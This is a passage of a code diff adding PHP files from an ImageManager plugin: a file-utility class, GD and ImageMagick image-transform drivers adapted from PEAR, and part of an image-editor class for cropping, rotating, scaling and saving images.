+ * the destination exists, it will be renamed by appending an increamenting
+ * counting number.
+ * @param string $source where the file is from, full path to the files required
+ * @param string $destination_file name of the new file, just the filename
+ * @param string $destination_dir where the files, just the destination dir,
+ * e.g., /www/html/gallery/
+ * @param boolean $unique create unique destination file if true.
+ * @return string the new copied filename, else error if anything goes bad.
+ */
+ function copyFile($source, $destination_dir, $destination_file, $unique=true)
+ {
+ if(!(file_exists($source) && is_file($source)))
+ return FILE_ERROR_NO_SOURCE;
+
+ $destination_dir = Files::fixPath($destination_dir);
+
+ if(!is_dir($destination_dir))
+ Return FILE_ERROR_DST_DIR_FAILED;
+
+ $filename = Files::escape($destination_file);
+
+ if($unique)
+ {
+ $dotIndex = strrpos($destination_file, '.');
+ $ext = '';
+ if(is_int($dotIndex))
+ {
+ $ext = substr($destination_file, $dotIndex);
+ $base = substr($destination_file, 0, $dotIndex);
+ }
+ $counter = 0;
+ while(is_file($destination_dir.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+ }
+
+ if (!copy($source, $destination_dir.$filename))
+ return FILE_ERROR_COPY_FAILED;
+
+ //verify that it copied, new file must exists
+ if (is_file($destination_dir.$filename))
+ Return $filename;
+ else
+ return FILE_ERROR_COPY_FAILED;
+ }
+
+ /**
+ * Create a new folder.
+ * @param string $newFolder specifiy the full path of the new folder.
+ * @return boolean true if the new folder is created, false otherwise.
+ */
+ function createFolder($newFolder)
+ {
+ mkdir ($newFolder, 0777);
+ return chmod($newFolder, 0777);
+ }
+
+
+ /**
+ * Escape the filenames, any non-word characters will be
+ * replaced by an underscore.
+ * @param string $filename the orginal filename
+ * @return string the escaped safe filename
+ */
+ function escape($filename)
+ {
+ Return preg_replace('/[^\w\._]/', '_', $filename);
+ }
+
+ /**
+ * Delete a file.
+ * @param string $file file to be deleted
+ * @return boolean true if deleted, false otherwise.
+ */
+ function delFile($file)
+ {
+ if(is_file($file))
+ Return unlink($file);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete folder(s), can delete recursively.
+ * @param string $folder the folder to be deleted.
+ * @param boolean $recursive if true, all files and sub-directories
+ * are delete. If false, tries to delete the folder, can throw
+ * error if the directory is not empty.
+ * @return boolean true if deleted.
+ */
+ function delFolder($folder, $recursive=false)
+ {
+ $deleted = true;
+ if($recursive)
+ {
+ $d = dir($folder);
+ while (false !== ($entry = $d->read()))
+ {
+ if ($entry != '.' && $entry != '..')
+ {
+ $obj = Files::fixPath($folder).$entry;
+ //var_dump($obj);
+ if (is_file($obj))
+ {
+ $deleted &= Files::delFile($obj);
+ }
+ else if(is_dir($obj))
+ {
+ $deleted &= Files::delFolder($obj, $recursive);
+ }
+
+ }
+ }
+ $d->close();
+
+ }
+
+ //$folder= $folder.'/thumbs';
+ //var_dump($folder);
+ if(is_dir($folder))
+ $deleted &= rmdir($folder);
+ else
+ $deleted &= false;
+
+ Return $deleted;
+ }
+
+ /**
+ * Append a / to the path if required.
+ * @param string $path the path
+ * @return string path with trailing /
+ */
+ function fixPath($path)
+ {
+ //append a slash to the path if it doesn't exists.
+ if(!(substr($path,-1) == '/'))
+ $path .= '/';
+ Return $path;
+ }
+
+ /**
+ * Concat two paths together. Basically $pathA+$pathB
+ * @param string $pathA path one
+ * @param string $pathB path two
+ * @return string a trailing slash combinded path.
+ */
+ function makePath($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+ Return Files::fixPath($pathA.$pathB);
+ }
+
+ /**
+ * Similar to makePath, but the second parameter
+ * is not only a path, it may contain say a file ending.
+ * @param string $pathA the leading path
+ * @param string $pathB the ending path with file
+ * @return string combined file path.
+ */
+ function makeFile($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+
+ Return $pathA.$pathB;
+ }
+
+
+ /**
+ * Format the file size, limits to Mb.
+ * @param int $size the raw filesize
+ * @return string formated file size.
+ */
+ function formatSize($size)
+ {
+ if($size < 1024)
+ return $size.' bytes';
+ else if($size >= 1024 && $size < 1024*1024)
+ return sprintf('%01.2f',$size/1024.0).' Kb';
+ else
+ return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: GD Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: GD.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// +----------------------------------------------------------------------+
+//
+// Usage :
+// $img = new Image_Transform_GD();
+// $angle = -78;
+// $img->load('magick.png');
+//
+// if($img->rotate($angle,array('autoresize'=>true,'color_mask'=>array(255,0,0)))){
+// $img->addText(array('text'=>"Rotation $angle",'x'=>0,'y'=>100,'font'=>'/usr/share/fonts/default/TrueType/cogb____.ttf'));
+// $img->display();
+// } else {
+// echo "Error";
+// }
+//
+//
+// $Id: GD.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using the GD library
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_GD extends Image_Transform
+{
+ /**
+ * Holds the image file for manipulation
+ */
+ var $imageHandle = '';
+
+ /**
+ * Holds the original image file
+ */
+ var $old_image = '';
+
+ /**
+ * Check settings
+ *
+ * @return mixed true or or a PEAR error object on error
+ *
+ * @see PEAR::isError()
+ */
+ function Image_Transform_GD()
+ {
+ return;
+ } // End function Image
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ $this->image = $image;
+ $this->_get_image_details($image);
+ $functionName = 'ImageCreateFrom' . $this->type;
+ if(function_exists($functionName))
+ {
+ $this->imageHandle = $functionName($this->image);
+ }
+ } // End load
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => array(255,0,0),
+ 'font' => 'Arial.ttf',
+ 'size' => '12',
+ 'angle' => 0,
+ 'resize_first' => false // Carry out the scaling of the image before annotation? Not used for GD
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+
+ if( !is_array($color) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color );
+ } else {
+ include_once('Image/Transform/Driver/ColorsDefs.php');
+ $color = isset($colornames[$color])?$colornames[$color]:false;
+ }
+ }
+
+ $c = imagecolorresolve ($this->imageHandle, $color[0], $color[1], $color[2]);
+
+ if ('ttf' == substr($font, -3)) {
+ ImageTTFText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ } else {
+ ImagePSText($this->imageHandle, $size, $angle, $x, $y, $c, $font, $text);
+ }
+ return true;
+ } // End addText
+
+
+ /**
+ * Rotate image by the given angle
+ * Uses a fast rotation algorythm for custom angles
+ * or lines copy for multiple of 90 degrees
+ *
+ * @param int $angle Rotation angle
+ * @param array $options array( 'autoresize'=>true|false,
+ * 'color_mask'=>array(r,g,b), named color or #rrggbb
+ * )
+ * @author Pierre-Alain Joye
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function rotate($angle, $options=null)
+ {
+ if(function_exists('imagerotate')) {
+ $white = imagecolorallocate ($this->imageHandle, 255, 255, 255);
+ $this->imageHandle = imagerotate($this->imageHandle, $angle, $white);
+ return true;
+ }
+
+ if ( $options==null ){
+ $autoresize = true;
+ $color_mask = array(255,255,0);
+ } else {
+ extract( $options );
+ }
+
+ while ($angle <= -45) {
+ $angle += 360;
+ }
+ while ($angle > 270) {
+ $angle -= 360;
+ }
+
+ $t = deg2rad($angle);
+
+ if( !is_array($color_mask) ){
+ if ($color[0]=='#'){
+ $this->colorhex2colorarray( $color_mask );
+ } else {
+ include_once('Image/Transform/Driver/ColorDefs.php');
+ $color = isset($colornames[$color_mask])?$colornames[$color_mask]:false;
+ }
+ }
+
+ // Do not round it, too much lost of quality
+ $cosT = cos($t);
+ $sinT = sin($t);
+
+ $img =& $this->imageHandle;
+
+ $width = $max_x = $this->img_x;
+ $height = $max_y = $this->img_y;
+ $min_y = 0;
+ $min_x = 0;
+
+ $x1 = round($max_x/2,0);
+ $y1 = round($max_y/2,0);
+
+ if ( $autoresize ){
+ $t = abs($t);
+ $a = round($angle,0);
+ switch((int)($angle)){
+ case 0:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 90:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ case 180:
+ $width2 = $width;
+ $height2 = $height;
+ break;
+ case 270:
+ $width2 = $height;
+ $height2 = $width;
+ break;
+ default:
+ $width2 = (int)(abs(sin($t) * $height + cos($t) * $width));
+ $height2 = (int)(abs(cos($t) * $height+sin($t) * $width));
+ }
+
+ $width2 -= $width2%2;
+ $height2 -= $height2%2;
+
+ $d_width = abs($width - $width2);
+ $d_height = abs($height - $height2);
+ $x_offset = $d_width/2;
+ $y_offset = $d_height/2;
+ $min_x2 = -abs($x_offset);
+ $min_y2 = -abs($y_offset);
+ $max_x2 = $width2;
+ $max_y2 = $height2;
+ }
+
+ $img2 = @imagecreate($width2,$height2);
+
+ if ( !is_resource($img2) ){
+ return false;/*PEAR::raiseError('Cannot create buffer for the rotataion.',
+ null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+
+ $this->img_x = $width2;
+ $this->img_y = $height2;
+
+
+ imagepalettecopy($img2,$img);
+
+ $mask = imagecolorresolve($img2,$color_mask[0],$color_mask[1],$color_mask[2]);
+
+ // use simple lines copy for axes angles
+ switch((int)($angle)){
+ case 0:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+ }
+ }
+ break;
+ case 90:
+ imagefill ($img2, 0, 0,$mask);
+ for ($x = $min_x; $x < $max_x; $x++){
+ for ($y=$min_y; $y < $max_y; $y++) {
+ $c = imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$max_y-$y-1,$x,$c);
+ }
+ }
+ break;
+ case 180:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $min_x; $x < $max_x; $x++){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2, $max_x2-$x-1, $max_y2-$y-1, $c);
+ }
+ }
+ break;
+ case 270:
+ imagefill ($img2, 0, 0,$mask);
+ for ($y=0; $y < $max_y; $y++) {
+ for ($x = $max_x; $x >= $min_x; $x--){
+ $c = @imagecolorat ( $img, $x, $y);
+ imagesetpixel($img2,$y,$max_x-$x-1,$c);
+ }
+ }
+ break;
+ // simple reverse rotation algo
+ default:
+ $i=0;
+ for ($y = $min_y2; $y < $max_y2; $y++){
+
+ // Algebra :)
+ $x2 = round((($min_x2-$x1) * $cosT) + (($y-$y1) * $sinT + $x1),0);
+ $y2 = round((($y-$y1) * $cosT - ($min_x2-$x1) * $sinT + $y1),0);
+
+ for ($x = $min_x2; $x < $max_x2; $x++){
+
+ // Check if we are out of original bounces, if we are
+ // use the default color mask
+ if ( $x2>=0 && $x2<$max_x && $y2>=0 && $y2<$max_y ){
+ $c = imagecolorat ( $img, $x2, $y2);
+ } else {
+ $c = $mask;
+ }
+ imagesetpixel($img2,$x+$x_offset,$y+$y_offset,$c);
+
+ // round verboten!
+ $x2 += $cosT;
+ $y2 -= $sinT;
+ }
+ }
+ break;
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $img2;
+ return true;
+ }
+
+
+ /**
+ * Resize Action
+ *
+ * For GD 2.01+ the new copyresampled function is used
+ * It uses a bicubic interpolation algorithm to get far
+ * better result.
+ *
+ * @param $new_x int new width
+ * @param $new_y int new height
+ *
+ * @return true on success or pear error
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y) {
+ if ($this->resized === true) {
+ return false; /*PEAR::raiseError('You have already resized the image without saving it. Your previous resizing will be overwritten', null, PEAR_ERROR_TRIGGER, E_USER_NOTICE);*/
+ }
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_x,$new_y);
+ } else {
+ $new_img =ImageCreate($new_x,$new_y);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, 0, 0, $new_x, $new_y, $this->img_x, $this->img_y);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($new_x, $new_y, $new_width, $new_height)
+ {
+ if(function_exists('ImageCreateTrueColor')){
+ $new_img =ImageCreateTrueColor($new_width,$new_height);
+ } else {
+ $new_img =ImageCreate($new_width,$new_height);
+ }
+ if(function_exists('ImageCopyResampled')){
+ ImageCopyResampled($new_img, $this->imageHandle, 0, 0, $new_x, $new_y,$new_width,$new_height,$new_width,$new_height);
+ } else {
+ ImageCopyResized($new_img, $this->imageHandle, 0, 0, $new_x, $new_y, $new_width,$new_height,$new_width,$new_height);
+ }
+ $this->old_image = $this->imageHandle;
+ $this->imageHandle = $new_img;
+ $this->resized = true;
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ return true;
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if(!$horizontal) {
+ $this->rotate(180);
+ }
+
+ $width = imagesx($this->imageHandle);
+ $height = imagesy($this->imageHandle);
+
+ for ($j = 0; $j < $height; $j++) {
+ $left = 0;
+ $right = $width-1;
+
+
+ while ($left < $right) {
+ //echo " j:".$j." l:".$left." r:".$right."\n<br>";
+ $t = imagecolorat($this->imageHandle, $left, $j);
+ imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j));
+ imagesetpixel($this->imageHandle, $right, $j, $t);
+ $left++; $right--;
+ }
+
+ }
+
+ return true;
+ }
+
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality int output DPI, default is 85
+ * @param $types string define the output format, default
+ * is the current used format
+ *
+ * @return none
+ */
+ function save($filename, $type = '', $quality = 85)
+ {
+ $type = $type==''? $this->type : $type;
+ $functionName = 'image' . $type;
+
+ if(function_exists($functionName))
+ {
+ $this->old_image = $this->imageHandle;
+ if($type=='jpeg')
+ $functionName($this->imageHandle, $filename, $quality);
+ else
+ $functionName($this->imageHandle, $filename);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ }
+ } // End save
+
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type != '') {
+ $this->type = $type;
+ }
+ $functionName = 'Image' . $this->type;
+ if(function_exists($functionName))
+ {
+ header('Content-type: image/' . strtolower($this->type));
+ $functionName($this->imageHandle, '', $quality);
+ $this->imageHandle = $this->old_image;
+ $this->resized = false;
+ ImageDestroy($this->old_image);
+ $this->free();
+ }
+ }
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ if ($this->imageHandle){
+ ImageDestroy($this->imageHandle);
+ }
+ }
+
+} // End class ImageGD
+?>
--- /dev/null
+<?php
+
+/***********************************************************************
+** Title.........: ImageMagick Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: IM.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+ /**
+ * associative array commands to be executed
+ * @var array
+ */
+ var $command = array();
+
+ /**
+ *
+ *
+ */
+ function Image_Transform_Driver_IM()
+ {
+ return true;
+ } // End Image_IM
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+ /*if (!file_exists($image)) {
+ return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+ }*/
+ $this->image = $image;
+ $this->_get_image_details($image);
+ } // End load
+
+ /**
+ * Resize Action
+ *
+ * @param int new_x new width
+ * @param int new_y new height
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y)
+ {
+ /*if (isset($this->command['resize'])) {
+ return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+ }*/
+ $this->command['resize'] = "-geometry ${new_x}x${new_y}!";
+
+ $this->new_x = $new_x;
+ $this->new_y = $new_y;
+ } // End resize
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($crop_x, $crop_y, $crop_width, $crop_height)
+ {
+ $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+ }
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if($horizontal)
+ $this->command['flop'] = "-flop";
+ else
+ $this->command['flip'] = "-flip";
+ }
+ /**
+ * rotate
+ *
+ * @param int angle rotation angle
+ * @param array options no option allowed
+ *
+ */
+ function rotate($angle, $options=null)
+ {
+ if ('-' == $angle{0}) {
+ $angle = 360 - substr($angle, 1);
+ }
+ $this->command['rotate'] = "-rotate $angle";
+ } // End rotate
+
+ /**
+ * addText
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' The string to draw
+ * 'x' Horizontal position
+ * 'y' Vertical Position
+ * 'Color' Font color
+ * 'font' Font to be used
+ * 'size' Size of the fonts in pixel
+ * 'resize_first' Tell if the image has to be resized
+ * before drawing the text
+ * )
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function addText($params)
+ {
+ $default_params = array(
+ 'text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => 'red',
+ 'font' => 'Arial.ttf',
+ 'resize_first' => false // Carry out the scaling of the image before annotation?
+ );
+ $params = array_merge($default_params, $params);
+ extract($params);
+ if (true === $resize_first) {
+ // Set the key so that this will be the last item in the array
+ $key = 'ztext';
+ } else {
+ $key = 'text';
+ }
+ $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+ // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+ } // End addText
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma=1.0) {
+ $this->command['gamma'] = "-gamma $outputgamma";
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param $quality quality image dpi, default=75
+ * @param $type string (JPG,PNG...)
+ *
+ * @return none
+ */
+ function save($filename, $type='', $quality = 85)
+ {
+ $type == '' ? $this->type : $type;
+ $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+ $cmd .= implode(' ', $this->command) . " -quality $quality ";
+ $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+
+ //$cmd = str_replace('/', '\\', $cmd);
+ //echo($cmd.'<br>');
+ exec($cmd,$retval);
+ //error_log('IM '.print_r($retval,true));
+ } // End save
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string type (JPG,PNG...);
+ * @param int quality 75
+ *
+ * @return none
+ */
+ function display($type = '', $quality = 75)
+ {
+ if ($type == '') {
+ header('Content-type: image/' . $this->type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+ } else {
+ header('Content-type: image/' . $type);
+ passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality " . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+ }
+ }
+
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ return true;
+ }
+
+} // End class ImageIM
+?>
--- /dev/null
+<?
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author $Author: cscott $
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor
+{
+ /**
+ * ImageManager instance.
+ */
+ var $manager;
+
+ /**
+ * user based on IP address
+ */
+ var $_uid;
+
+ /**
+ * tmp file storage time.
+ */
+ var $lapse_time =900; //15 mins
+
+ var $filesaved = 0;
+
+ /**
+ * Create a new ImageEditor instance. Editing requires a
+ * tmp file, which is saved in the current directory where the
+ * image is edited. The tmp file is assigned by md5 hash of the
+ * user IP address. This hashed is used as an ID for cleaning up
+ * the tmp files. In addition, any tmp files older than the
+ * the specified period will be deleted.
+ * @param ImageManager $manager the image manager, we need this
+ * for some file and path handling functions.
+ */
+ function ImageEditor($manager)
+ {
+ $this->manager = $manager;
+ $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+ }
+
+ /**
+ * Did we save a file?
+ * @return int 1 if the file was saved sucessfully,
+ * 0 no save operation, -1 file save error.
+ */
+ function isFileSaved()
+ {
+ Return $this->filesaved;
+ }
+
+ /**
+ * Process the image, if not action, just display the image.
+ * @return array with image information, empty array if not an image.
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processImage()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return array();
+
+ //$relative = '/Series2004NoteFront.jpg';
+
+ $imgURL = $this->manager->getFileURL($relative);
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $imgInfo = @getImageSize($fullpath);
+ if(!is_array($imgInfo))
+ Return array();
+
+ $action = $this->getAction();
+
+ if(!is_null($action))
+ {
+ $image = $this->processAction($action, $relative, $fullpath);
+ }
+ else
+ {
+ $image['src'] = $imgURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $relative;
+ $image['fullpath'] = $fullpath;
+ }
+
+ Return $image;
+ }
+
+ /**
+ * Process the actions, crop, scale(resize), rotate, flip, and save.
+ * When ever an action is performed, the result is save into a
+ * temporary image file, see createUnique on the filename specs.
+ * It does not return the saved file, alway returning the tmp file.
+ * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+ * @param string $relative the relative image filename
+ * @param string $fullpath the fullpath to the image file
+ * @return array with image information
+ * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+ * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+ */
+ function processAction($action, $relative, $fullpath)
+ {
+ $params = '';
+
+ if(isset($_GET['params']))
+ $params = $_GET['params'];
+
+ $values = explode(',',$params,4);
+ $saveFile = $this->getSaveFileName($values[0]);
+
+ $img = Image_Transform::factory(IMAGE_CLASS);
+ $img->load($fullpath);
+
+ switch ($action)
+ {
+ case 'crop':
+ $img->crop(intval($values[0]),intval($values[1]),
+ intval($values[2]),intval($values[3]));
+ break;
+ case 'scale':
+ $img->resize(intval($values[0]),intval($values[1]));
+ break;
+ case 'rotate':
+ $img->rotate(floatval($values[0]));
+ break;
+ case 'flip':
+ if ($values[0] == 'hoz')
+ $img->flip(true);
+ else if($values[0] == 'ver')
+ $img->flip(false);
+ break;
+ case 'save':
+ if(!is_null($saveFile))
+ {
+ $quality = intval($values[1]);
+ if($quality <0) $quality = 85;
+ $newSaveFile = $this->makeRelative($relative, $saveFile);
+ $newSaveFile = $this->getUniqueFilename($newSaveFile);
+
+ //get unique filename just returns the filename, so
+ //we need to make the relative path once more.
+ $newSaveFile = $this->makeRelative($relative, $newSaveFile);
+ $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+ $img->save($newSaveFullpath, $values[0], $quality);
+ if(is_file($newSaveFullpath))
+ $this->filesaved = 1;
+ else
+ $this->filesaved = -1;
+ }
+ break;
+ }
+
+ //create the tmp image file
+ $filename = $this->createUnique($fullpath);
+ $newRelative = $this->makeRelative($relative, $filename);
+ $newFullpath = $this->manager->getFullPath($newRelative);
+ $newURL = $this->manager->getFileURL($newRelative);
+
+ //save the file.
+ $img->save($newFullpath);
+ $img->free();
+
+ //get the image information
+ $imgInfo = @getimagesize($newFullpath);
+
+ $image['src'] = $newURL;
+ $image['dimensions'] = $imgInfo[3];
+ $image['file'] = $newRelative;
+ $image['fullpath'] = $newFullpath;
+
+ Return $image;
+
+ }
+
+ /**
+ * Get the file name base on the save name
+ * and the save type.
+ * @param string $type image type, 'jpeg', 'png', or 'gif'
+ * @return string the filename according to save type
+ */
+ function getSaveFileName($type)
+ {
+ if(!isset($_GET['file']))
+ Return null;
+
+ $filename = Files::escape(rawurldecode($_GET['file']));
+ $index = strrpos($filename,'.');
+ $base = substr($filename,0,$index);
+ $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+ if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+ {
+ Return $base.'.jpeg';
+ }
+ if($type=='png' && $ext != 'png')
+ Return $base.'.png';
+ if($type=='gif' && $ext != 'gif')
+ Return $base.'.gif';
+
+ Return $filename;
+ }
+
+ /**
+ * Get the default save file name, used by editor.php.
+ * @return string a suggestive filename, this should be unique
+ */
+ function getDefaultSaveFile()
+ {
+ if(isset($_GET['img']))
+ $relative = rawurldecode($_GET['img']);
+ else
+ Return null;
+
+ Return $this->getUniqueFilename($relative);
+ }
+
+ /**
+ * Get a unique filename. If the file exists, the filename
+ * base is appended with an increasing integer.
+ * @param string $relative the relative filename to the base_dir
+ * @return string a unique filename in the current path
+ */
+ function getUniqueFilename($relative)
+ {
+ $fullpath = $this->manager->getFullPath($relative);
+
+ $pathinfo = pathinfo($fullpath);
+
+ $path = Files::fixPath($pathinfo['dirname']);
+ $file = Files::escape($pathinfo['basename']);
+
+ $filename = $file;
+
+ $dotIndex = strrpos($file, '.');
+ $ext = '';
+
+ if(is_int($dotIndex))
+ {
+ $ext = substr($file, $dotIndex);
+ $base = substr($file, 0, $dotIndex);
+ }
+
+ $counter = 0;
+ while(is_file($path.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+
+ Return $filename;
+
+ }
+
+ /**
+ * Specifiy the original relative path, a new filename
+ * and return the new filename with relative path.
+ * i.e. $pathA (-filename) + $file
+ * @param string $pathA the relative file
+ * @param string $file the new filename
+ * @return string relative path with the new filename
+ */
+ function makeRelative($pathA, $file)
+ {
+ $index = strrpos($pathA,'/');
+ if(!is_int($index))
+ Return $file;
+
+ $path = substr($pathA, 0, $index);
+ Return Files::fixPath($path).$file;
+ }
+
+ /**
+ * Get the action GET parameter
+ * @return string action parameter
+ */
